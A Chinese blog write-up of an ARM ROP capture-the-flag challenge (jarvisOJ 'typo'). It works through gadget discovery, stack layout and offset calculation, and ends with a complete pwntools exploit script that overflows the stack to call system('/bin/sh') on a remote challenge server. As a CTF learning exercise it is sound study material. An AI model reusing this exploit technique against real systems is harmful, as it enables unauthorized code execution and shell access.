ARM的ROP

根据ctfwiki学习Arm ROP – CTF Wiki (ctf-wiki.org)

1.MIPS汇编学习

不多概述,请参考博客

ARM汇编 – 学习笔记 (giraffexiu.love)

简单概述寄存器以及函数的调用规定,函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0

image-20240713230304499

2.环境配置

arm调试需要配置qemu环境,远程连接gdb进行调试,确保环境完整

3.ROP

这里通过几个例题进行讲解

1.jarvisoj – typo

1.题目链接

ctf-challenges/pwn/arm/jarvisOJ_typo at master · ctf-wiki/ctf-challenges (github.com)

2.检查保护

image-20240713211545606

基本没有任何保护,没有栈溢出保护和PIE

静态链接,可以直接在binnary中找到危险函数和/bin/sh的字符串进行利用

找到栈溢出就可以直接get shell

3.栈溢出检测

4.构造ROP

1./bin/sh

可以检索到存在/bin/sh

image-20240713231849447

直接找地址

image-20240713232427566
0x0006c384 : /bin/sh

2.system函数

结合跳转和检索

image-20240713232055750
image-20240713232007981
image-20240713232112057
readelf -s ./typo

无符号表,这里利用可以razo进行恢复

但是因为没有ASLR和其他保护,ida的地址就是system对应地址

.text:000110B4                 CMP     R0, #0

3.利用gadgets

┌──(kali㉿kali)-[~/Desktop/question/pwn/ctf_wiki]
└─$ ROPgadget --binary ./typo --only "pop"
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}
0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x00008de8 : pop {r4, fp, pc}
0x000083b0 : pop {r4, pc}
0x00008eec : pop {r4, r5, fp, pc}
0x00009284 : pop {r4, r5, pc}
0x000242e0 : pop {r4, r5, r6, fp, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000212ec : pop {r4, r5, r6, r7, fp, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}
0x00011648 : pop {r4, r5, r6, r7, r8, pc}
0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}

Unique gadgets found: 29
                                                                                                                                                                                                                                         
┌──(kali㉿kali)-[~/Desktop/question/pwn/ctf_wiki]
└─$

我们需要控制第一个参数寄存器r0来控制流程最后一个参数pc指针来控制返回

所以采用

0x00020904 : pop {r0, r4, pc}

4.构造栈的结构

结构示意图:
+-------------+
|  填充数据   |
+-------------+
|  填充数据   | <- 帧指针(frame pointer)
+-------------+
| gadgets 地址 | <- 返回地址(return address)
+-------------+
| /bin/sh 地址 |
+-------------+
| 垃圾数据    |
+-------------+
| system 地址  |
+-------------+
结构简析:
  • 填充数据:用来填充到正确的偏移量
  • 帧指针:用来保持栈的结构和函数调用的上下文
  • gadgets 地址:用于设置寄存器(例如 pop {r0, r4, pc})
  • /bin/sh 地址:指向/bin/sh字符串的地址
  • 垃圾数据:填充到不需要用到的寄存器(如 r4)
  • system 地址:指向 system 函数的地址,用于调用 system(“/bin/sh”):

5.计算栈溢出大小

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> c
Continuing.

然后

pwndbg> cyclic -l 0x62616164
112

所以长度为112

5.EXP

from pwn import *  # 导入 pwntools 库,用于构造 payload 和进行攻击
import sys  # 导入 sys 库,用于获取命令行参数
import pdb  # 导入 pdb 库,用于调试程序

# 设置 pwntools 的日志级别为 "debug",可以取消注释以启用调试输出
# context.log_level = "debug"

# 遍历栈溢出长度从 112 到 122
for i in range(112, 123):
   # 根据命令行参数选择不同的连接方式
   if sys.argv[1] == "l":
       # 本地模式,直接运行程序
       io = process("./typo", timeout=2)
   elif sys.argv[1] == "d":
       # 使用 qemu-arm 进行远程调试,设置调试端口为 1234
       io = process(["qemu-arm", "-g", "1234", "./typo"])
   else:
       # 远程模式,连接到远程服务器
       io = remote("pwn2.jarvisoj.com", 9888, timeout=2)

   # 发送一个空行来触发程序的输入,获取 prompt 后的行
   io.sendafter("quit\n", "\n")
   io.recvline()

   '''
  jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh
  Strings information
  ============================================================
  0x0006c384 : /bin/sh
  jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop|ret" | grep r0
  0x00020904 : pop {r0, r4, pc}
  '''

   # 构造 ROP 链的 payload
   payload = 'a' * i + p32(0x20904) + p32(0x6c384) * 2 + p32(0x110B4)
   success(i)  # 打印当前的溢出长度
   io.sendlineafter("\n", payload)  # 发送 payload

   # 这里是一个 try-except 块来捕获可能的 EOF 错误
   try:
       # 尝试执行命令并接收输出
       io.sendline("echo aaaa")
       io.recvuntil("aaaa", timeout=1)  # 等待输出
   except EOFError:
       io.close()
       continue
   else:
       io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇